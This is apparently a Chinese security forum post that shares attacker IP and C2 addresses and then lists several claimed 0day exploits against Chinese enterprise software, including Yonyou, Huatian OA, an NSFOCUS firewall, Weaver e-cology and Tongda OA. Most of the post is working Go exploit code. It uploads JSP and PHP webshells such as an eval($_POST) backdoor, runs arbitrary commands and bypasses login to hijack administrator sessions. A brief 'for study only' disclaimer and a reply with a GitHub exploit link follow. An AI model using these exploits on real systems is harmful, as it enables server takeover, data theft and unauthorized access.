情报共享 (0730)

吉沃运营专员

本文内容为互联网上收集，禁止用于非法用途，仅供学习使用！

攻击 IP 地址：

• 1.12.235.247
  

攻击样本回连 C2:

• 1.12.235.247:8000
• 47.116.35.156:4455
  

用友 NC系统 uapws wsdl XXE 漏洞 0day

用友 NC 系统 uapws 存在 wsdl 接口，可通过指定路径传入内部或外部的 xml 进行解析，造成 XXE 漏洞。攻击者可以通过 XXE 漏洞读取服务器文件，执行任意命令等

1. /uapws/service/nc.uap.oba.update.IUpdateService?xsd={{{xmlUrl}}}

复制代码

华天动力 OA 任意文件上传漏洞 0day

华天动力 OA 存在任意文件上传漏洞，攻击者可以上传任意文件，获取 webshell，控制服务器权限，读取敏感信息等

1. getOAFilePath98234u293 := func(host *httpclient.FixUrl) string {
   
2.         requestConfig := httpclient.NewPostRequestConfig("/OAapp/jsp/upload.jsp")
   
3.         requestConfig.VerifyTls = false
   
4.         requestConfig.FollowRedirect = false
   
5.         requestConfig.Header.Store("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundary5Ur8laykKAWws2QO")
   
6.         requestConfig.Data = "------WebKitFormBoundary5Ur8laykKAWws2QO\r\nContent-Disposition: form-data; name="file"; filename="xxx.xml"\r\nContent-Type: image/png\r\n\r\nreal path\r\n------WebKitFormBoundary5Ur8laykKAWws2QO\r\nContent-Disposition: form-data; name="filename"\r\n\r\nxxx.png\r\n------WebKitFormBoundary5Ur8laykKAWws2QO--\r\n"
   
7. 
   
8.         if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
   
9.                 if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, ".dat") {
   
10.                         if path := regexp.MustCompile(`(.*?)Tomcat/webapps/.*?\.dat`).FindStringSubmatch(resp.RawBody); len(path) > 1 {
    
11.                                 // 直接返回文件最后一个 jsessionid
    
12.                                 return path[1]
    
13.                         } else if path := regexp.MustCompile(`(.*?)htoadata/appdata/.*?\.dat`).FindStringSubmatch(resp.RawBody); len(path) > 1 {
    
14.                                 return path[1]
    
15.                         }
    
16.                 }
    
17.         }
    
18. 
    
19.         return ""
    
20. }
    
21. 
    
22. exploitUploadFile837276342783 := func(path string, fileContent string, host *httpclient.FixUrl) bool {
    
23.         requestConfig := httpclient.NewPostRequestConfig("/OAapp/htpages/app/module/trace/component/fileEdit/ntkoupload.jsp")
    
24.         requestConfig.VerifyTls = false
    
25.         requestConfig.FollowRedirect = false
    
26.         requestConfig.Header.Store("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryzRSYXfFlXqk6btQm")
    
27.         requestConfig.Data = "------WebKitFormBoundaryzRSYXfFlXqk6btQm\r\nContent-Disposition: form-data; name="EDITFILE"; filename="xxx.txt"\r\nContent-Type: image/png\r\n\r\n" + fileContent + "\r\n------WebKitFormBoundaryzRSYXfFlXqk6btQm\r\nContent-Disposition: form-data; name="newFileName"\r\n\r\n" + path + "Tomcat/webapps/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp\r\n------WebKitFormBoundaryzRSYXfFlXqk6btQm--\r\n"
    
28. 
    
29.         if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
    
30.                 return resp.StatusCode == 200
    
31.         }
    
32. 
    
33.         return false
    
34. }
    
35. 
    
36. checkUploadedFile2398764278 := func(fileContent string, host *httpclient.FixUrl) bool {
    
37.         requestConfig := httpclient.NewGetRequestConfig("/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp")
    
38.         requestConfig.VerifyTls = false
    
39.         requestConfig.FollowRedirect = false
    
40. 
    
41.         if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
    
42.                 return resp.StatusCode == 200 && strings.Contains(resp.RawBody, fileContent)
    
43.         }
    
44. 
    
45.         return false
    
46. }
    
47. 
    
48. ExpManager.AddExploit(NewExploit(
    
49.         goutils.GetFileName(),
    
50.         expJson,
    
51.         func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
    
52.                 path := getOAFilePath98234u293(u)
    
53.                
    
54.                 if path == "" {
    
55.                         path = "D:/htoa/"
    
56.                 }
    
57. 
    
58.                 rand := goutils.RandomHexString(6)
    
59. 
    
60.                 if exploitUploadFile837276342783(path, "<%out.print(""+rand+"");%>", u) {
    
61.                         return checkUploadedFile2398764278(rand, u)
    
62. 
    
63. 
    
64.                 }
    
65.                 return false
    
66.         },
    
67.         func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
    
68.                 fileContent := ss.Params["fileContent"].(string)
    
69.                 path := getOAFilePath98234u293(expResult.HostInfo)
    
70. 
    
71.                 if path == "" {
    
72.                         path = "D:/htoa/"
    
73.                 }
    
74. 
    
75.                 if exploitUploadFile837276342783(path, fileContent, expResult.HostInfo) {
    
76.                         expResult.Success = true
    
77.                         expResult.Output = "文件已上传，请访问：/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp"
    
78.                 }
    
79. 
    
80.                 return expResult
    
81.         },
    
82. ))

复制代码

绿盟下一代防火墙 resourse.php 任意文件上传漏洞 0day

绿盟下一代防火墙 bugsInfo/resourse.php 文件存在任意文件上传漏洞，攻击者可上传恶意木马，获取服务器权限

1. ExpManager.AddExploit(NewExploit(
   
2.         goutils.GetFileName(),
   
3.         expJson,
   
4.         func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
   
5.                 u1 := httpclient.NewFixUrl("https://" + u.IP + ":8081")
   
6.                 uri1 := "/api/v1/device/bugsInfo"
   
7.                 cfg1 := httpclient.NewPostRequestConfig(uri1)
   
8.                 cfg1.VerifyTls = false
   
9.                 cfg1.FollowRedirect = false
   
10.                 cfg1.Header.Store("Content-Type", "multipart/form-data; boundary=1d52ba2a11ad8a915eddab1a0e85acd9")
    
11.                 cfg1.Data = "--1d52ba2a11ad8a915eddab1a0e85acd9\r\nContent-Disposition: form-data; name="file"; filename="sess_82c13f359d0dd8f51c29d658a9c8ac71"\r\n\r\nlang|s:52:"../../../../../../../../../../../../../../../../tmp/";\r\n--1d52ba2a11ad8a915eddab1a0e85acd9--\r\n"
    
12.                 if resp, err := httpclient.DoHttpRequest(u1, cfg1); err == nil && resp.StatusCode == 200 && strings.Contains(resp.RawBody, "upload file success") {
    
13.                         time.Sleep(time.Second * 5)
    
14.                         uri2 := "/api/v1/device/bugsInfo"
    
15.                         cfg2 := httpclient.NewPostRequestConfig(uri2)
    
16.                         cfg2.VerifyTls = false
    
17.                         cfg2.FollowRedirect = false
    
18.                         cfg2.Header.Store("Content-Type", "multipart/form-data; boundary=4803b59d015026999b45993b1245f0ef")
    
19.                         cfg2.Data = "--4803b59d015026999b45993b1245f0ef\r\nContent-Disposition: form-data; name="file"; filename="compose.php"\r\n\r\n<?php eval($_POST[1]);?>\r\n--4803b59d015026999b45993b1245f0ef--\r\n"
    
20.                         if resp2, err2 := httpclient.DoHttpRequest(u1, cfg2); err2 == nil && resp2.StatusCode == 200 && strings.Contains(resp2.RawBody, "upload file success") {
    
21.                                 u3 := httpclient.NewFixUrl("https://" + u.IP + ":4433")
    
22.                                 uri3 := "/mail/include/header_main.php"
    
23.                                 cfg3 := httpclient.NewPostRequestConfig(uri3)
    
24.                                 cfg3.VerifyTls = false
    
25.                                 cfg3.FollowRedirect = false
    
26.                                 cfg3.Header.Store("Cookie", "PHPSESSID_NF=82c13f359d0dd8f51c29d658a9c8ac71")
    
27.                                 cfg3.Header.Store("Content-Type", "application/x-www-form-urlencoded")
    
28.                                 cfg3.Data = "1=print+md5%281%29%3B"
    
29.                                 if resp3, err := httpclient.DoHttpRequest(u3, cfg3); err == nil {
    
30.                                         return resp3.StatusCode == 200 && strings.Contains(resp3.RawBody, "c4ca4238a0b923820dcc509a6f75849b")
    
31.                                 }
    
32.                         }
    
33.                 }
    
34. 
    
35.                 return false
    
36.         },
    
37.         func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
    
38.                 cmd := ss.Params["cmd"].(string)
    
39.                 u1 := httpclient.NewFixUrl("https://" + expResult.HostInfo.IP + ":8081")
    
40.                 uri1 := "/api/v1/device/bugsInfo"
    
41.                 cfg1 := httpclient.NewPostRequestConfig(uri1)
    
42.                 cfg1.VerifyTls = false
    
43.                 cfg1.FollowRedirect = false
    
44.                 cfg1.Header.Store("Content-Type", "multipart/form-data; boundary=1d52ba2a11ad8a915eddab1a0e85acd9")
    
45.                 cfg1.Data = "--1d52ba2a11ad8a915eddab1a0e85acd9\r\nContent-Disposition: form-data; name="file"; filename="sess_82c13f359d0dd8f51c29d658a9c8ac71"\r\n\r\nlang|s:52:"../../../../../../../../../../../../../../../../tmp/";\r\n--1d52ba2a11ad8a915eddab1a0e85acd9--\r\n"
    
46.                 if resp, err := httpclient.DoHttpRequest(u1, cfg1); err == nil && resp.StatusCode == 200 && strings.Contains(resp.RawBody, "upload file success") {
    
47.                         time.Sleep(time.Second * 5)
    
48.                         uri2 := "/api/v1/device/bugsInfo"
    
49.                         cfg2 := httpclient.NewPostRequestConfig(uri2)
    
50.                         cfg2.VerifyTls = false
    
51.                         cfg2.FollowRedirect = false
    
52.                         cfg2.Header.Store("Content-Type", "multipart/form-data; boundary=4803b59d015026999b45993b1245f0ef")
    
53.                         cfg2.Data = "--4803b59d015026999b45993b1245f0ef\r\nContent-Disposition: form-data; name="file"; filename="compose.php"\r\n\r\n<?php eval($_POST[1]);?>\r\n--4803b59d015026999b45993b1245f0ef--\r\n"
    
54.                         if resp2, err2 := httpclient.DoHttpRequest(u1, cfg2); err2 == nil && resp2.StatusCode == 200 && strings.Contains(resp2.RawBody, "upload file success") {
    
55.                                 u3 := httpclient.NewFixUrl("https://" + expResult.HostInfo.IP + ":4433")
    
56.                                 uri3 := "/mail/include/header_main.php"
    
57.                                 cfg3 := httpclient.NewPostRequestConfig(uri3)
    
58.                                 cfg3.VerifyTls = false
    
59.                                 cfg3.FollowRedirect = false
    
60.                                 cfg3.Header.Store("Cookie", "PHPSESSID_NF=82c13f359d0dd8f51c29d658a9c8ac71")
    
61.                                 cfg3.Header.Store("Content-Type", "application/x-www-form-urlencoded")
    
62.                                 cfg3.Data = fmt.Sprintf("1=%s", url.QueryEscape(cmd))
    
63.                                 if resp3, err := httpclient.DoHttpRequest(u3, cfg3); err == nil && resp3.StatusCode == 200 {
    
64.                                         expResult.Output = resp3.RawBody
    
65.                                         expResult.Success = true
    
66.                                 }
    
67.                         }
    
68.                 }
    
69.                 return expResult
    
70.         },
    
71. ))

复制代码

用友 GRP-U8 财务管理软件任意文件上传漏洞 0day

1. exploitYonyouGRPU812345512 := func(fileName string, fileContent string, host *httpclient.FixUrl) bool {
   
2.         requestConfig := httpclient.NewPostRequestConfig("/UploadFileData?action=upload_file&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&foldername=%2e%2e%2f&filename=" + fileName + ".jsp&filename=1.jpg")
   
3.         requestConfig.VerifyTls = false
   
4.         requestConfig.FollowRedirect = false
   
5.         requestConfig.Header.Store("Content-type", "multipart/form-data")
   
6.         requestConfig.Data = "------WebKitFormBoundary92pUawKc\r\nContent-Disposition: form-data; name="myFile";filename="test.jpg"\r\n\r\n" + fileContent + "\r\n------WebKitFormBoundary92pUawKc--"
   
7. 
   
8.         if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
   
9.                 if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "parent.showSucceedMsg();") {
   
10.                         return true
    
11.                 }
    
12.         }
    
13.         return false
    
14. }
    
15. 
    
16. checkUploadedFile12314456 := func(fileName string, fileContent string, host *httpclient.FixUrl) bool {
    
17.         // 攻击 URL
    
18.         requestConfig := httpclient.NewGetRequestConfig("/R9iPortal/" + fileName + ".jsp")
    
19.         requestConfig.VerifyTls = false
    
20.         requestConfig.FollowRedirect = false
    
21.         requestConfig.Timeout = 15
    
22. 
    
23.         // 发送攻击请求
    
24.         if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
    
25.                 return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, fileContent)
    
26.         }
    
27.         return false
    
28. }
    
29. 
    
30. ExpManager.AddExploit(NewExploit(
    
31.         goutils.GetFileName(),
    
32.         expJson,
    
33.         func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
    
34. 
    
35.                 rand1 := goutils.RandomHexString(4)
    
36.                 rand2 := goutils.RandomHexString(4)
    
37. 
    
38.                 // 上传文件
    
39.                 if exploitYonyouGRPU812345512(rand1, "<%out.print(""+rand2+"");%>", u) {
    
40.                         // 检查文件是否上传成功
    
41.                         return checkUploadedFile12314456(rand1, rand2, u)
    
42.                 }
    
43. 
    
44.                 return false
    
45.         },
    
46.         func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
    
47. 
    
48.                 fileName := ss.Params["name"].(string)
    
49.                 fileContent := ss.Params["content"].(string)
    
50. 
    
51.                 if exploitYonyouGRPU812345512(fileName, fileContent, expResult.HostInfo) {
    
52.                         expResult.Success = true
    
53.                         expResult.Output = "文件上传成功，请访问路径：/R9iPortal/" + fileName + ".jsp"
    
54.                 }
    
55. 
    
56.                 return expResult
    
57.         },
    
58. ))

复制代码

Weaver ecology9 OA系统上传漏洞 0day

泛微 E-cology OA 任意管理用户登陆漏洞 0day

低版本泛微 e-cology 存在任意管理员用户登陆漏洞，攻击者可以利用系统内的接口快速登陆管理员用户，获取用户对应的管理权限，并可以使用该用户身份执行恶意操作

1. ExpManager.AddExploit(NewExploit(
   
2.         goutils.GetFileName(),
   
3.         expJson,
   
4.         func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
   
5.                 // 漏洞 URL
   
6.                 cfg := httpclient.NewPostRequestConfig("/mobile/plugin/VerifyQuickLogin.jsp")
   
7.                 cfg.FollowRedirect = false
   
8.                 cfg.Timeout = 15
   
9.                 cfg.Header.Store("Content-Type", "application/x-www-form-urlencoded")
   
10.                 cfg.Data = "identifier=1&language=1&ipaddress=x.x.x.x"
    
11. 
    
12.                 if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil {
    
13.                         if resp.StatusCode == 200 && strings.Contains(resp.HeaderString.String(), "Set-Cookie: ecology_JSession") && strings.Contains(resp.Utf8Html, "{"message":"1","sessionkey":"") {
    
14.                                 return true
    
15.                         }
    
16.                 }
    
17. 
    
18.                 return false
    
19.         },
    
20.         func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
    
21.                 // 使用 api 查询数据
    
22.                 cfg := httpclient.NewPostRequestConfig("/mobile/plugin/VerifyQuickLogin.jsp")
    
23.                 cfg.FollowRedirect = false
    
24.                 cfg.Timeout = 15
    
25.                 cfg.Header.Store("Content-Type", "application/x-www-form-urlencoded")
    
26.                 cfg.Data = "identifier=1&language=1&ipaddress=1.1.1.1"
    
27. 
    
28.                 if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil {
    
29.                         if resp.StatusCode == 200 && strings.Contains(resp.HeaderString.String(), "Set-Cookie: ecology_JSession") && strings.Contains(resp.Utf8Html, "{"message":"1","sessionkey":"") {
    
30. 
    
31. 
    
32.                                 expResult.Success = true
    
33.                                 expResult.Output = "攻击成功，请使用 sessionKey：\n" + regexp.MustCompile(`"sessionkey":"(.*?)"`).FindStringSubmatch(resp.RawBody)[1]
    
34.                         }
    
35.                 }
    
36. 
    
37.                 return expResult
    
38.         },
    
39. ))

复制代码

通达 OA 任意用户登陆漏洞 0day

通达存在任意用户登陆漏洞，攻击者可以通过指定接口登陆任意用户，获取后台管理权限，直接登录后台进行敏感操作

1. checkIsTongdaOA1231234 := func(host *httpclient.FixUrl) bool {
   
2.         requestConfig := httpclient.NewGetRequestConfig("/inc/expired.php")
   
3.         requestConfig.VerifyTls = false
   
4.         requestConfig.FollowRedirect = false
   
5. 
   
6.         if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
   
7.                 return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "tongda")
   
8.         }
   
9.         return false
   
10. }
    
11. 
    
12. getTongdaCodeUID435345 := func(host *httpclient.FixUrl) string {
    
13.         requestConfig := httpclient.NewGetRequestConfig("/ispirit/login_code.php")
    
14.         requestConfig.VerifyTls = false
    
15.         requestConfig.FollowRedirect = false
    
16. 
    
17. 
    
18.         if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
    
19.                 if resp.StatusCode == 200 && strings.Contains(resp.RawBody, ""codeuid"") {
    
20.                         return regexp.MustCompile(`\{"codeuid":"\{(.*?)}"`).FindStringSubmatch(resp.RawBody)[1]
    
21.                 }
    
22.         }
    
23.         return ""
    
24. }
    
25. 
    
26. getTongdaPHPSESSID4564234 := func(codeuid string, host *httpclient.FixUrl) string {
    
27.         requestConfig := httpclient.NewPostRequestConfig("/logincheck_code.php")
    
28.         requestConfig.VerifyTls = false
    
29.         requestConfig.FollowRedirect = false
    
30.         requestConfig.Header.Store("Content-type", "application/x-www-form-urlencoded")
    
31.         requestConfig.Data = "UID=1&CODEUID=_PC{" + codeuid + "}"
    
32. 
    
33.         if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
    
34.                 if resp.StatusCode == 200 && strings.Contains(resp.RawBody, ""status":1") && strings.Contains(resp.RawBody, ""url":"general") && strings.Contains(resp.HeaderString.String(), "Set-Cookie: PHPSESSID=") {
    
35.                         return regexp.MustCompile(`Set-Cookie: PHPSESSID=(.*?);`).FindStringSubmatch(resp.HeaderString.String())[1]
    
36.                 }
    
37.         }
    
38.         return ""
    
39. }
    
40. 
    
41. exploitTongda45321 := func(phpsessionid string, host *httpclient.FixUrl) bool {
    
42.         // 攻击 URL
    
43.         requestConfig := httpclient.NewGetRequestConfig("/general/")
    
44.         requestConfig.VerifyTls = false
    
45.         requestConfig.FollowRedirect = false
    
46.         requestConfig.Timeout = 15
    
47.         requestConfig.Header.Store("Cookie", "PHPSESSID="+phpsessionid)
    
48. 
    
49.         // 发送攻击请求
    
50.         if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
    
51.                 return resp.StatusCode == 302 && strings.Contains(resp.Utf8Html, "tongdainfo")
    
52.         }
    
53. 
    
54.         return false
    
55. }
    
56. 
    
57. ExpManager.AddExploit(NewExploit(
    
58.         goutils.GetFileName(),
    
59.         expJson,
    
60.         func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
    
61.                 if checkIsTongdaOA1231234(u) {
    
62.                         codeuid := getTongdaCodeUID435345(u)
    
63.                         if codeuid != "" {
    
64.                                 phpsessionid := getTongdaPHPSESSID4564234(codeuid, u)
    
65.                                 if phpsessionid != "" {
    
66.                                         return exploitTongda45321(phpsessionid, u)
    
67.                                 }
    
68.                         }
    
69.                 }
    
70. 
    
71.                 return false
    
72.         },
    
73.         func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
    
74.                 if checkIsTongdaOA1231234(expResult.HostInfo) {
    
75.                         codeuid := getTongdaCodeUID435345(expResult.HostInfo)
    
76.                         if codeuid != "" {
    
77.                                 phpsessionid := getTongdaPHPSESSID4564234(codeuid, expResult.HostInfo)
    
78.                                 if phpsessionid != "" {
    
79.                                         if exploitTongda45321(phpsessionid, expResult.HostInfo) {
    
80.                                                 expResult.Success = true
    
81.                                                 expResult.Output = "登陆成功，使用如下 session 即可登陆：" + phpsessionid
    
82.                                         }
    
83.                                 }
    
84.                         }
    
85.                 }
    
86. 
    
87.                 return expResult
    
88.         },
    
89. ))

复制代码

8. 用友 FE 协作办公平台 templateOfTaohong_manager.jsp 目录遍历漏洞 0day

用友 FE 平台低版本templateOfTaohong_manager.jsp文件存在目录遍历漏洞，攻击者可以通过此文件遍历系统文件内容，获取敏感信息，并可利用此页面上的功能创建文件夹、删除文件等等

路径：/system/mediafile/templateOfTaohong_manager.jsp?path={{{path}}}

history

W01fh4cker

log4j2和apache的有无

吉沃运营专员

W01fh4cker 发表于 2022-7-30 23:35
log4j2和apache的有无

https://github.com/fakeNFkY/Nginx1.21.5_stack-overflow